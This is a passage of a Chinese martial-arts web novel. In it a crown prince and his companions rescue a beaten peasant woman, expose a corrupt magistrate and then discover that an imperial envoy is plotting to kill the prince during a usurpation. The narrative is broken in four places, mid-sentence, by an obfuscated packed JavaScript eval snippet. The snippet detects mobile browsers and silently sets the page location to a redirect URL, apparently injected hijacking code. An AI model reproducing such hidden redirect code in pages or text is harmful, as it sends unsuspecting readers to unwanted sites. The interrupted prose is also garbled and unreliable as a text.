又过一会儿,爆竹声停息,擎苍小亭雕弓的声音同时响起:“欢迎满月女侠Ⅰ姐姐Ⅰ师妹加入我们!” “满月女侠,你加入我们,这是天大的喜事,不能没有欢迎仪式。只是这荒山野岭里条件简陋,着实办不出什么像样的仪式来,我们几个就自作主张,点了炮仗来庆贺。这炮仗点了,以后您可就是自己人了。”擎苍欢欢喜喜道。 小亭正端着一个托盘,盘中放着一个酒壶,和五支斟满酒的酒杯,她道:“满月姐姐,我哥哥没说全,我们民间办喜事都要喝合香酒,只是我刚才翻遍了那些箱子,也没找着合香酒,便用竹叶青、雨前龙井、鸡舌香、薄荷叶兑了一壶,我尝着这口味和合香酒没什么不同。咱们喝了它,庆祝今日恶鬼散去,更庆祝咱们几个有缘人能够在这里相逢!” 满月点点头,拿起酒杯,向众人致意:“愿岁并谢,与友长兮。” 雕弓亦拿起酒,接道:“淑离不淫,梗其有理兮。” 沈曜一手扯着缰绳,一手握着马鞭,在沙地上走得满头大汗,气喘吁吁,还是不忘老远就扯着嗓子接上一句:“年岁虽少,可师长兮。你们等等我, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12739977|132809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别忘了给我留一杯酒!” 众人这次发现原来太子不在。 擎苍见沈曜狼狈,赶紧跑去帮忙。 小亭这时却恍然大悟:“是不是《橘颂》?那正好,我来接最后一句!行比伯夷,置以为像兮。” 她年纪小,也不甚在意规矩,说完,举起酒杯就把酒一饮而尽。 这时候擎苍也回来了,他取下最后两杯酒,一杯呈给太子,一杯自己端在手里,又用眼神示意小亭再给自己斟一杯,然后,他自己举着酒杯,说:“我没读过书,你们说的那些阳春白雪我是一句也不懂。但是我知道什么叫同是天涯沦落人,也知道什么叫相逢即是缘,反正咱们今天聚到一起,是个好事儿,从此以后,咱们都是同生共死的兄弟,一想到这事儿,我就激动。不说别的了,来,咱们干一杯。” “来,干杯干杯!”其余几人也应和起来。 五人碰杯,各自饮尽杯中佳酿。 却在这时,只听得远处传来妇人孩童的啼哭声音,随之又传来一阵疾驰的马蹄声。 众人放下酒杯,一齐循声望去,只见小道前方几里之外,一个衣衫褴褛的妇人,正抱着一个两三岁的娃娃,拼命疾驰。 他们身后,两个骑马的官差正从远处追赶过来。 双脚难敌四蹄,妇人和孩童很快就被官差追上。只见官差使棍子在妇人背上狠狠一拍,那妇人立刻跌倒在地,手中的孩儿也不甚被摔在地上。 两个官差下马,一人给妇人铐上脚铐,另一人在妇人孩童周身狂躁的来回翻找,过不多时,他终于找出一个小荷包,荷包里装着半串铜钱。 那官员把铜钱塞进自己口袋,恶狠狠喝道:“好你个逃纳税负,私藏钱产的罪妇,看本官今日不好好教训你!” 那妇人原本还在挣扎,一看荷包被翻出来,她立刻跪倒在地:“大人冤枉啊,大人,草民没有逃避赋税啊!” 她此时喊冤已然来不及,两个官差一齐对那妇人拳打脚踢。 妇人疼得一阵哀嚎,那孩子也在一旁哇哇大哭。 一个官差听孩子哭声听得心烦,刚要连孩子一起打,另一个官差立刻拦住:“别动,是个女娃娃,卖到窑子里能拿一吊钱呢!” 官差哼了一声,又转过身来变本加厉的殴打那个妇女。 却在这时,只听远方有人怒喝:“住手,你们快住手!” 一个官差分心抬头,只看见不远处走来三个锦衣华服的英俊少年,其中一个少年还牵着一个橘色衣服的小姑娘。 他们身后还跟着浩浩荡荡一列马车,打头的马车上斜坐着一个女子,女子身着红衣,戴着一个大斗笠,看不出相貌。 看架势,这群人怕是来头不小,抬头的那个官兵弄不清形式,怕不小心得罪了什么贵人,先行住了手。 另一个官兵却不管不顾,继续殴打。 “你们身为朝廷官差,怎么能当街伤害妇女儿童?”为首的那个小少年一脸愠色,飞身上前,护住妇人和孩童。 “官府办案,不要多管闲事!”那官差说着,挥起棍子,向那少年的脊背打了过去。 28. 钦差大臣 眼看那一棍子要落到沈曜身上,雕弓眼疾手快,立刻挥左掌劈那个官兵的腕部,意图夺下官兵手上的棍子。 谁知那官兵武艺不低,见雕弓出手,他一翻手腕就调转招式挥棍子攻击雕弓。雕弓武功显然远胜于这二人,五招之内,那两个官兵已经被他制服在地。 “多谢义士相救,多谢义士相救!”那妇人见雕弓将官兵击倒,只觉得这一行人中雕弓最是厉害,立刻扑过去抓住雕弓,一个劲道谢。 那妇人早就被打得满身是血,此时她一双污秽不堪的手又刚好碰到了雕弓受伤的右臂,雕弓吃痛,不动声色的把手臂抽开。 擎苍这时候在官兵身上翻了一圈,翻出来了那半串铜钱,他递过去,道:“这位娘子,下次藏钱您可一定要藏仔细些。” 那妇人接过铜钱,又拉着擎苍一个劲儿道谢。 小亭不喜欢那个妇人,她皱了皱眉,扯着擎苍的衣袖把他拉到了一边,然后给擎苍塞了个手帕。 擎苍知道自家妹妹这是在恼那个妇人手上又是血又是泥还非要碰别人,他心里好笑,却因为那妇人还在,没有立刻擦手。 “三年前你哥哥我还在种田卸泔水呢,那时候你莫非就嫌弃我了?”他悄悄的逗了小亭一句。 小亭恼道:“我是好心,你不要就还给我。” 她说完,拎着那手帕的一角,把手帕从擎苍手里抽出来,团成一团直接塞到了一个正在骂他们的官兵的嘴里。 那官兵一脸惊恐,想要说什么,还没来得及说,就被小亭堵住了嘴。 旁边那个官兵见状,干脆闭口不言。 她塞完,凑到雕弓跟前,问:“雕弓哥哥,你的手臂是不是受伤了?” “没伤,就是打架打累了。”雕弓道,“我押着这俩人走不开,你去帮帮太子。” 沈曜这时候已经快要崩溃了。 那个女娃娃不停的哭闹,擎苍把从前哄小亭时的招数使了个遍,却没有一点效果。 沈曜被哭声吵得脑袋嗡嗡直响,想去帮着擎苍哄哄孩子,那个妇人却缠着沈曜,不停的哭诉:“小郎君呀,你可要为我们做主啊!你不知道,我们县的百姓都快要活不下去了……我们成纪县,两年大旱,一年大水,本来大家伙儿就叫老天爷害得揭不开锅了,朝廷还三天两头的来收税,户税地税比往年提高了三成,还要收什么春苗税,什么治坝税,哦对,就连租地,都得交租地税!民妇活不下去了,想带着孩子出城投奔亲戚,谁承想,官府连出城都不让我们出,但凡逃出城的人啊,都叫他们给活活打死了!民妇这是命大,才遇到你们这些好心人……” 那孩子哭声很大,沈曜听得断断续续,但还是越听越不对,他赶紧问:“等等,夫人您等等,这几年朝廷不是给西北拨了五百万两赈灾银吗?你们没收到吗?还有赋税,我们从来没有涨过赋税啊,您这些话是真的假的啊?” “我们?”那妇人神色一动,“你是朝廷的人?” “我是当今皇帝的亲……” 沈曜还没说完,一边哄孩子的擎苍赶紧接口道:“是当今皇帝的钦差大臣,是亲自来这里捉拿乱臣贼子的!夫人你还有什么难处,您全都说出来,我们会为你做主的!” “钦差大臣?”那妇人一愣,“好年轻的钦差大臣!” 却在这时,只听远处有人大喊:“钦差大臣到!县老爷到!” 除了满月,众人都一脸疑问的向前方看去。 只见远处缓缓驶来一架马车,一顶小轿,还有浩浩荡荡一队官兵。 小轿先行落地,轿上走下一人,年近三十,身穿县令官服,面颊凹陷,眼睛下垂,身材消瘦。 那人面无表情,走到马车面前,微微欠身,道:“两位大人,到啦!” 话音未落,车外一个仆从赶紧打开一把遮阳伞,县令接过遮阳伞,亲自将其举到与马车车顶一样高。 马车帘子掀开,车上走下一人,身穿三品官袍,腰悬尚方宝剑,身材微胖,面颊红润,年纪极轻。 竟是墨云! 雕弓暗暗吃惊,下意识瞥一眼车上的满月。 满月此时冲他比了一个手势,一个从前她逃课想找雕弓打掩护时才会比的手势。 墨云下了马车,却不急着瞧外面的情况,而是将自己的手又伸到车门口,柔声道:“烟儿妹妹,我来扶你下车。” 车帘掀开,一个身穿四品女式官袍的姑娘跳下马车,冷冷道:“在外面叫我晚烟副使。” “好,晚烟副使!”墨云大声重复一遍,抢过县令手中的伞,亲自给晚烟打上,之后颇有气势的向沈曜方向问了一声:“何人在前方喧哗?” 沈曜也不愿再隐瞒身份,他高举太子腰牌,厉声喝到:“本朝太子沈曜在此,你是什么人,还不快快过来给本太子行礼?” 墨云没见过沈曜,但认得雕弓,更认得太子腰牌,他惊呼一声,连手里的伞都不要了,拉起晚烟的手,小跑着赶来给沈曜行礼。 “微臣不知太子远道而来,太子恕罪!” “太子恕罪!” “太子恕罪……” 晚烟、县令、农妇、还有那一队官兵,纷纷跪下来给沈曜磕头。 沈曜旁的不行,但从小被人供奉惯了,身上早就练出了上位者特有的气场。这么多人一齐向他行礼时,他昂首挺胸站在人前,仪容端肃,不怒自威。 “都起来吧!”他道。 众人纷纷起身,自觉的为沈曜一行人让出一条路来。 “你是什么人?父皇派你来这里做什么?”他问墨云。 墨云恭恭敬敬回答:“微臣墨云,奉圣上的命令,到成纪县巡察。” “成纪县官员贪赃枉法,欺上瞒下,先是侵吞朝廷的赈灾款,后又屡屡增加赋税,此事朝廷已经知晓,皇上圣明,特派臣与晚烟副使来成纪县亲察此案。”墨云道。 沈曜听到这里,心中终于松了一口气。 果然,就像他想的一样,他父皇是个明察秋毫为民谋福的好皇帝。 他想到这里,一脸骄傲的回头要向满月证明,谁承想,满月和她的小红马此时都没了踪迹。 沈曜心里一慌,面上却不敢显露,继续问墨云:“那你现在可把这件事查明白了?” “查明白了!”墨云神色一变,转身指着县令喝道:“都是你,李静安,你身为父母官,却只想发财,一年间不但把朝廷的赈灾银子占为己有,还假托朝廷名义让百姓缴纳各种赋税,朝廷的脸都要让你给丢光了!” 他此话一出,身后几个官兵立刻冲上前来,扒去李静安的官袍,将其扣押起来。 李静安还是一副木然模样,由他们摆弄自己,也没有出言辩驳。 还是小亭在旁边问了一句:“这位大人,空口无凭,你可有证据?” “衙门里为他做事的官员都可以作证,还有他家里的账本,也是铁证。殿下您若对此案有疑,那便随下官去县衙一看究竟。” 沈曜蹲下身问那个妇人:“夫人,是他说的这样吗?” “民妇哪知道这些?但是来民妇家收税的官爷,确实都是奉了李大人的指令。”那夫人颤声答。 沈曜点点头,擎苍一手抱着娃,一手递给那妇人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12785189|132809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两锭银子。 “这些银子您先拿着,去看看伤,买些粮。县里的事情,我会给大家一个交代。”沈曜说完,沉着脸,对墨云说,“走,我跟你去一趟县衙。” 众人刚准备起身,雕弓却突然叫了一声:“太子殿下且慢!” 紧接着,就是小亭哎呦一声惊呼。 众人齐齐看去,却发现那个被堵住口鼻的官兵已经软软的倒在地上,一探鼻息,竟已经气绝身亡。 “怎么回事?”沈曜一惊,擎苍赶紧挡在太子身前,在场的雕弓和其他官兵也纷纷抄家伙准备护驾。 “他有喘喝症,那小姑娘拿手绢堵了他的嘴,他一口气上不来,这才没了命。”旁边那个侍卫淡淡道。 小亭有些惊慌:“你的意思是,是我这手帕要了他的命?” 她一时有些内疚,赶紧问:“你们有没有人会医术?他还能不能救过来?” 晚烟走上前来,搭了搭他的腕,摇头道:“没法救了。” 她说完,吩咐人把那官兵的尸身给抬走了。 擎苍见小亭失神懊悔,便把她拉到自己身后,质问另一个官兵:“你明知他有喘喝,怎么不早说?” 那官兵昂头反问:“他是死是活与我有甚么关系?” “你……”擎苍还欲与他争辩,沈曜制止道,“县里的案子重要,咱们先进城,这些事,咱们和他秋后算账。” 擎苍恶狠狠的瞪了那个官差一眼,之后乖乖的去给沈曜赶车。 小亭却还是呆呆站在原地。 雕弓一手牵着自己的马,另一只手帮小亭把马牵到她身前,轻轻拍了拍她的肩膀。 小亭上了马,和雕弓并肩而行,道:“雕弓哥哥,我真的不是故意的。” 雕弓温声安抚:“多行不义必自毙,那人的咎由自取,怨不得你。” 小亭还是高兴不起来:“我从来没杀过人,你说他会不会变成厉鬼回来报复我。” 雕弓没想到小亭如此忧心忡忡,竟是在想这样的问题,他好笑道:“是我把他捉住的,他要报复也该先报复我才对。” “雕弓哥哥,要是那个鬼真的去找你,你就给他说,说一切都是我的错,他要报复就报复我好了!你这样好的人,万万不能被鬼给害了。”小亭道。 雕弓一怔:“我算个好人吗?” “怎么不算?”小亭道,“你看你,模样好,武功高,心地还善良,比我哥那个聒噪猴子要好上太多啦。” 雕弓哈哈大笑:“假的,都是假的,我实际上就是个背信弃义的伪君子,你看我满月师妹,她好容易心软来救我们一次,谁知道还是被我给气走了。” 小亭听他这话奇奇怪怪,本想细问,却见雕弓在冲她使眼色,她又回头瞧瞧擎苍,只见哥哥也轻轻点头,朗声对雕弓道:“这也怨不得你,把满月女侠气走,咱们都有责任。” 她一下子明白过来,原来雕弓哥哥这是在暗中教大家统一口供。满月姐姐突然消失,大家心里多少都有些没底,更不知道万一有人问起来该怎么说,雕弓哥哥却不漏痕迹的用一句话稳住了阵脚,着实厉害。想到这里,她对雕弓的敬佩之情又加重几分。 这时候,另一架马车里的墨云却掀开车帘问:“满月也在这里吗?” “来过,但是因为一些原因,她又走了。”雕弓答。 墨云有些遗憾:“都是老同学,要是满月也在,大家一起见一面,叙叙旧,多好。想当年,我和晚烟还跟她打过架呢……” 马车里,晚烟把脸一板:“过去的事还提它做什么?” 墨云瞬间闭了嘴。 29. 县衙晚宴 小亭一直都对这个太子不屑一顾,看过沈曜审案之后,她更瞧不上沈曜了。 沈曜审案就跟过家家似的。 墨云给他卷宗,他就乖乖从头到尾看一遍,然后评一句:“很好,没什么问题。” 墨云给他把证人带过来,他还没审,证人们就一股脑把李静安这一年的所作所为全吐了出来。沈曜仔仔细细听完,又评了一句:“很好,没什么问题。” 墨云给他看物证,他皱着眉翻了一遍,还是那句话:“很好,没什么问题。” 小亭朝沈曜翻了个白眼。 “既然太子殿下也觉得没有问题,那我们现在要做的,就是依照大炎律,将李静安收押问斩,并抄没其全部家产。”墨云宣布。 李静安突然冷笑了一声,对沈曜说:“杀我简单,想见着银子,做梦去吧。” “此话怎讲?”沈曜急迫追问,李静安却闭口再不说话。 一个时辰之后,派去抄家的官差来回话:李静安家两间屋、一方院,里里外外搜了个遍,但除了几贯铜钱之外,竟真的不见一锭白银。 墨云先炸了毛,怒气冲冲直指李静安:“说,你把钱藏到哪里了?” 李静安不答。 “那就上刑,上到你说为止!”墨云气急败坏。 晚烟却冷静道:“李静安一家老小都在川北老家,说不定,他的赃款早就被他运到了老家。” 提到江南老家,李静安波澜不惊的脸终于出现了一丝惊慌。 小亭捕捉到这一丝惊慌,立刻指着李静安大喊:“一定是在他老家!” “来人!立刻去查抄李静安的老家!”墨云下令。 李静安有些惊慌的喊:“且慢!你是朝廷派到成纪县的钦差,无权干涉川北事!” 墨云转身看晚烟。 晚烟向他点点头:“大炎律法里确实有这一条。” “那怎么办?”墨云小声问晚烟。 “写奏折提交刑部,由刑部批阅后交由中书省,中书省商讨后,要么就交由皇帝亲自批阅,要么直接批复,之后刑部下搜查令派当地官差去查办。”晚烟道。 墨云点点头:“那我这就去写奏折。” 晚烟叹气道:“你写得再快,这一套流程走下来,少说也得有一两个月。可是现在县里财政亏空,眼看着连百姓的赈济粮都要发不起了。” “这么严重?”墨云问。 县丞壮着胆子说:“年初水灾,原本今年收成就少得可怜。交了粮食税,县里就再没什么存粮了。就是现在这些赈灾粮,还是小人去大户家里借来的。” “就不能去外面买粮?”墨云又问。 “哪有钱买粮?钱都在那位大人家里呢!”县丞指了指李静安,道,“我们这个县,如今是旱的旱死,涝的涝死。大人你们只知道老百姓吃不上饭,但是不知道,我们这些芝麻小官也已经一年没发薪水了。” “他要这么多钱干嘛?”小亭吃惊道。 “对呀,你贪这么多钱做什么?”沈曜也反应过来,“我记得我朝县令一年俸禄是五十两纹银,这个数目已经比小康之家要富裕很多。你为什么还是不知足,要把一个县的钱财全部据为己有?” 李静安闭上眼,显然不愿意回答这个问题。 “不能拖这么久。”沈曜拿出自己的太子腰牌,道,“我乃大炎朝太子,用这个身份,下令派人去抄他老家,算不算数?” 晚烟道:“太子殿下,下面人从未见过太子,所以他们做事,从来都是只认印信,不认真人。此刻就算是天子在此,没有玉玺,也不会有人听其命令。” 听到这里,墨云叹道:“哎,要是玉玺在就好了。” 沈曜眼神微动,问:“如果有了玉玺,这案子会怎样解决?” 墨云道:“有了玉玺,谁敢不听我们号令?届时说抄家就抄家,如容有人抗命,那就是抗旨,可以就地斩杀。” 晚烟也说:“命令一下,八百里加急直奔川北,最快七天,成纪县的财政危机就可解除。” “既然这样,那不如你写一封奏折,八百里加急送给父皇,我也去一封信,叫父皇赶快用玉玺通过这封奏折。有我这封信,省去冗杂的流程,事情应该会办得更快一些。” 墨云道:“快是快些,但保不齐中途会出什么岔子。依臣之见,不如殿下去信一封,直接叫钦差把玉玺送来,殿下亲自拿着玉玺,不论做什么都更加方便迅捷。” “也好,那我这就去信一封,求父皇八百里加急把玉玺送来。”沈曜道。 “如此甚好!”墨云听了,立刻着人准备笔墨。 擎苍听着不太对劲,悄悄问沈曜:“太子爷,这事儿是不是有点不妥。” 沈曜拿起笔,道:“八百里加急,三天就能拿到玉玺,这既然是最快的法子,我就用这个法子。” “太子英明!太子仁善!”沈曜写信,墨云在一边恭维,李静安被押入牢中,如此种种,自不必再提。 却说这日晚间,墨云做东,叫了一桌上等酒席,在县衙的后院招待沈曜一行人。 沈曜他们没有想到,这县衙前院看着平平无奇,可是后院却比寻常后院都雅致许多。一步一景,处处有苍葱翠柏掩映、流水环绕,坐在饭厅中亦能感受到流水潺潺,鸟语花香。 黄花梨餐桌上,摆着一条油泼鲤鱼,一碟葱爆牛肉,一盘鲜椒炒鸡,一碗蟹黄豆腐羹,另有四道小青菜,四道凉菜,三坛老酒,一盆瓜果。 “太子莅临,臣本想在县衙最大的花开酒楼包一桌宴席,但是晚烟妹妹说这里就很好,叫我不要铺张。”墨云换了一身金丝织成的常服,挽着晚烟的手,向沈曜解释。 “晚烟副使说的是正理,这里就很好。”沈曜道。 墨云又转头对雕弓敬酒:“咱们是老同学,如今再见面,我心里高兴。” 雕弓与他碰了一杯,说:“你和晚烟师姊可是好事将近了?” 墨云微胖的脸上泛起红晕:“那是,晚烟妹妹已经答应了我,等这趟我立了功回去,她就嫁给我。” “三品大官,还有美人在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12822319|132809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧,墨云哥,你可真是人生得意!”擎苍也跟着喝了一辈。 小亭忙着啃鸡翅,却还是忍不住插一句:“晚烟副使,你都是四品官身了,嫁人多可惜。” 晚烟喝一口酒,轻笑道:“女儿家自当拼尽全力嫁给自己最喜欢的男儿。” 墨云听了这话,好不快活,他端着酒,飘飘乎如在云端:“雕弓,还记不记得当年咱们在大武宗打架?我告诉你,我能追到晚烟妹妹,多亏了当年那场架。” 雕弓笑道:“那一架你输得狼狈不堪,怎么还能换得晚烟师姊的芳心?” “你不知道!”墨云站起来,讲道,“后来我问晚烟妹妹,你是为什么选了我?晚烟妹妹就跟我说,‘当年我父兄去世,我眼眶一红,你就敢为了我去大闹大武宗。我喜欢你这样的人,满心满眼都是我,赴汤蹈火,不计后果。” 晚烟拍拍墨云,道:“你快坐下。” 墨云坐下,才安静吃几口肉,便又聒噪起来:“雕弓,说起来,咱们同一年入仕的,混的最好的,应该就是你、我、墨云妹妹、还有归舟了吧?” 雕弓道:“我就是为太子殿下身边一个小跟班,尽职办事罢了,比不得你们。” 墨云道:“哎,要不是我父亲莫名其妙的被人杀死了,太尉可怜我,我也没法年纪轻轻升到三品。” 他喝一碗酒,又道:“要我说,我们这些人里运气最好的就是归舟。他这人当年学武的时候不声不响的,谁知道,一入仕,就跟着常乐侯去西南打了胜仗,人家现在都是大将军喽!” 擎苍道:“归舟将军厉害啊!十六岁当了先锋官,一口气打下苍南国八座城池,想当年大街小巷都在传颂他的故事呢。” “他哪有那么厉害?人家就是先天条件好,有贵人帮着,跟了个好上司。常乐侯多么厉害的人,随便一个阿猫阿狗跟着他去打仗,都能捞一大笔军功衣锦还乡,更别提当他还是当先锋官的人了!” 晚烟一把夺过墨云的酒杯:“你喝醉了,少说话。” 雕弓也淡淡道:“官老师不是随便一个阿猫阿狗都愿意用的人。” “那我墨云也不差啊,凭什么……” 沈曜在宫里被娇养惯了,赶了这么多天路,他身体本就有些吃不消,如今听墨云吵闹,更是头昏脑涨,胸闷欲呕,他撑不住,只想回屋歇一歇,便一个人先离了席。 擎苍见太子离席,便也赶紧跟着太子离席。 “那个钦差大臣热情是热情,就是太吵,吵得小人头疼。”擎苍道。 沈曜也长舒一口气,坏坏道:“既然是雕弓的同学,叫雕弓在那里应付就是。走,咱们回房歇着去。” 县衙的后院很大,住所也不少,从饭厅离开,只需穿越一片竹石小径,就可以到达他们的住所。吃饭前他们把一队车马都安置在了住处外的院子里,那时候天还亮,他们也没有掌灯。可是这时候再来,却见每一架装货的马车里都有灯火闪烁,他们住的屋子里也有人影晃动。 擎苍刚要冲过去一探究竟,就被沈曜给拉住。 30. 杀了他们 沈曜擎苍两人躲在林中,将其中两人的对话听得清清楚楚。 当地口音的衙役:“胡大人,兄弟们把所有地方都找了,还是没有找到。” 京城口音的胡大人:“我瞧今日公堂上沈曜的反应,他确实也不像是带着玉玺出来的样子。不过既然墨云大人吩咐了,我们就再仔细找一遍,省的真出了什么岔子,到时候还要担责任。” 衙役:“还是您想得周到。不过小的还是想不明白,明明墨云大人都骗太子写了信了,我们只在这里等皇上把玉玺送来不就好了,为何还要这样大费周章?” 胡大人:“我悄悄告诉你,那封信沈治平已经看不到了!沈曜这封信,最后只会落到左太尉手里。” 衙役震惊之余,压低声音:“为什么会这样?还有,既然皇上看不到,墨云大人为什么还要写这封信?” “为什么?”胡大人颇有优越感的笑了一声,道,“我既然和你有缘,那今日就给你透点消息。沈治平好几天前就咽气了,只是现在玉玺不翼而飞,太子又出了远门,为了稳定朝局,左太尉选择秘不发丧。” 擎苍错愕地看向沈曜,树林里光线太暗,他看不清沈曜的神态。 “那左太尉这是要等太子回去?”衙役又问。 胡大人踹了他一脚,又拱手拜向东南方向,道:“等那个小儿做什么?当今天下大势,众望所归,只能是左太尉代炎,登基为帝。” 衙役惊呼一声,随即又赶紧把嘴巴闭上。 胡大人道:“还是墨云大人机灵,他审时度势,抢了这个钦差大臣来,届时他杀了沈曜,那就是新王朝的开国功臣。还有哄沈曜写的那封信,无非也是在向左太尉证明,他能力很大,不但能指挥军队杀掉太子,还能用自己的计谋控制住太子。” 衙役震惊得说不出话来。 胡大人拍拍他,语重心长道:“你们这些底层的小官,遇上个能往上爬的机会可不容易。往后天下谁说的算,现在你知道了,但是大部分人还都不知道。该怎么做,不用我来说吧?” 衙役立刻半跪下来,道:“多谢大人指点,小的一定誓死效忠大人!” 林子里,沈曜突然抓住擎苍的胳膊,擎苍被吓了一跳,他只觉得沈曜的手凉得似冰。 两个人对视一眼,谁也没有发出声音,轻手轻脚的从一个没有灯火的地方走出竹林。 “太子……”擎苍注视着沈曜,一时不知该说些什么。 沈曜还算镇定,已经快速打出了主意:“这里不能留,趁着他们还没发现我们,你赶紧翻墙逃出城去。” “那您呢?”擎苍问。 “我得去叫上雕弓小亭。”沈曜道。 “那我跟您一块儿去。”擎苍道。 沈曜摇摇头:“能走一个是一个。你先出去,想办法找到满月。” 擎苍还是不肯:“殿下,我先送您出去,您去找满月女侠,我去找雕弓小亭,小亭是我妹妹,说什么也得我留下……” 他二人还未争出个结果,忽听得四周脚步愈来愈近,十几个火把霎时将周遭照得亮似白昼。 方才还在搜查马车的官差和衙役,此时已经全部赶到,把沈曜擎苍二人从四面围住。 “好一个主仆情深!好一个主仆情深!”胡大人拍手叫好,之后话锋一转,道:“不用推让了,今天你们两个都得死。” 四面的差役一齐拔出刀来,他们似饥饿的豺狼虎豹,只待主帅一声令下,立刻就要去争夺杀掉太子的头等大功。 擎苍也毫不犹豫地拔出腰间的佩刀,全无章法地向四面八方挥了几挥,大喊:“殿下别怕,大不了咱们就跟他们拼了!左右是死,杀两个扯平杀三个还赚了呢!” 胡大人也不愿废话,挥挥手:“上吧,取沈曜人头者,官升三级,赏银千两。取其余人人头者,官升一级,赏银百两。” 此话一出,差役一齐冲向沈曜二人,就在擎苍差一寸就要和差役短兵相接之时,沈曜突然大喝一声:“且慢!杀了我,你们就再也找不到玉玺!” 兹事体大,差役们纷纷停下脚步,询问胡大人的意思。 胡大人走上前去:“你知道玉玺在哪?” 沈曜点点头:“只有父皇和我两人知道。你放了擎苍,我就把玉玺在哪里告诉你。” 胡大人不屑一笑:“小子,你别想诓我。等我放了你这仆人,你再告诉我你不知道玉玺在哪,那我该怎么办?” 沈曜伶俐反驳:“你要是不放我的兄弟,你怎知我是不是真的真的玉玺在哪呢?杀死我你们未必有功,但找到玉玺可一定会是大功劳。” 擎苍握住沈曜的手。 沈曜的手依旧冰冷,手心已经出了薄薄一层冷汗,甚至身体也在微微颤抖。 “什么叫杀死你我们不一定有功?”一个官差突然问。 “昔年秦军伐蜀,十月取之。蜀主更号为侯,而使陈庄相蜀。陈庄既相蜀,蜀侯公子通抗秦,张仪使陈庄杀公子通,蜀民愤而暴乱。司马错、甘茂率秦军平叛,用张仪计,先以谋害蜀侯为名杀陈庄,陈庄死,蜀乱平,蜀民归顺,秦军既得美名,又得蜀国。”沈曜讲到这里,语气故意凝重几分,“如今,若拿我比作蜀侯,你们就是陈庄,杀了我,下一个要死的必定会是你们!” “休听他胡言乱语!”胡大人怒喝,“都别愣着,都给我冲!杀掉他们!” “我看谁敢自寻死路!”沈曜喊得比胡大人更加气势汹汹。 差役们竟真的有些动摇。 沈曜赶紧继续规劝:“你们仔细想想,如果杀我真有大功,这个姓胡的凭什么不亲自杀我?因为杀我绝不会立功。他想让你们做陈庄,自己作张仪,至于左仪能不能当成惠王,如今全在你们一念之间。杀我是死,不杀我,我们同心协力,说不定还能活。等我持玉玺归京,你们届时都是名正言顺的救驾功臣。怎么选,我劝你们再好好考虑考虑。” 他说到这里,也冲胡大人挤出一个笑来:“胡大人,你也可以趁现在投到我麾下的!如今我手上有玉玺,是名正言顺的继位人选。我姑姑在塞西国当太后,我也可以从她那里借兵,还有哟,都说西北的满月女侠一人可抵万军,如今她也在暗中保护我。这么算算,我手上的牌其实不少。你也加进来,说不定咱们就把左仪给干倒了呢!” “大人,他说的好像挺有道理。”一个官差试着应和了沈曜一句。 谁承想,他刚说完,胡大人拔出腰间长剑,直接将那个官差刺死当场。 “谁敢动摇,就是这个下场。”胡大人一字一句道,“墨云大人早已从并州调兵,最迟明天,并州三万兵马就会到达成纪。你们想反,那就反啊!我倒要看看,是你们这几十个乌合之众厉害,还是并州的三万大军厉害。” “我手握玉玺,以太子之身对他们动之以理,晓之以情,并州三万大军审时度势,未必不肯归顺于我。”沈曜又指向胡大人,道,“反倒是这位大人,对手下说杀就杀,没有一点仁善之心,这样的上司你们怎敢安心跟从?” 差役们又一次出现了骚动。 “休听他胡言!军令如山,三万大军岂能说降就降?你们要是敢反,明日我就叫你们死无葬身之地!还有你们的家人,都将以谋反罪论斩首于菜市口!”他说到这里,又缓和下来,“如今左太尉登基是众望所归,我以我后半辈子的仕途做担保,太尉仁善,更赏罚分明, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12864332|132809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 决计不像沈曜小儿说的这般心思狠毒。今日我带头,我们一起杀了他,大家只会立功,不会有罪。离功名富贵只有一步之遥,你们真的就不愿意去试试吗?” 沈曜立刻便驳:“太尉仁善,又为何以三万大军把我逼上绝路?他今日这样逼我,明日未必不会这样逼迫你们!” 差役们你看看我,我看看你,一时不知该听哪边的话。 这时候,不远处一座高墙突然传来银铃似的笑声,紧接着,女子清脆的声音传入所有人的耳膜:“这么难做选择啊?既然你们都不知道该怎么选,那我替你们做主好啦!” 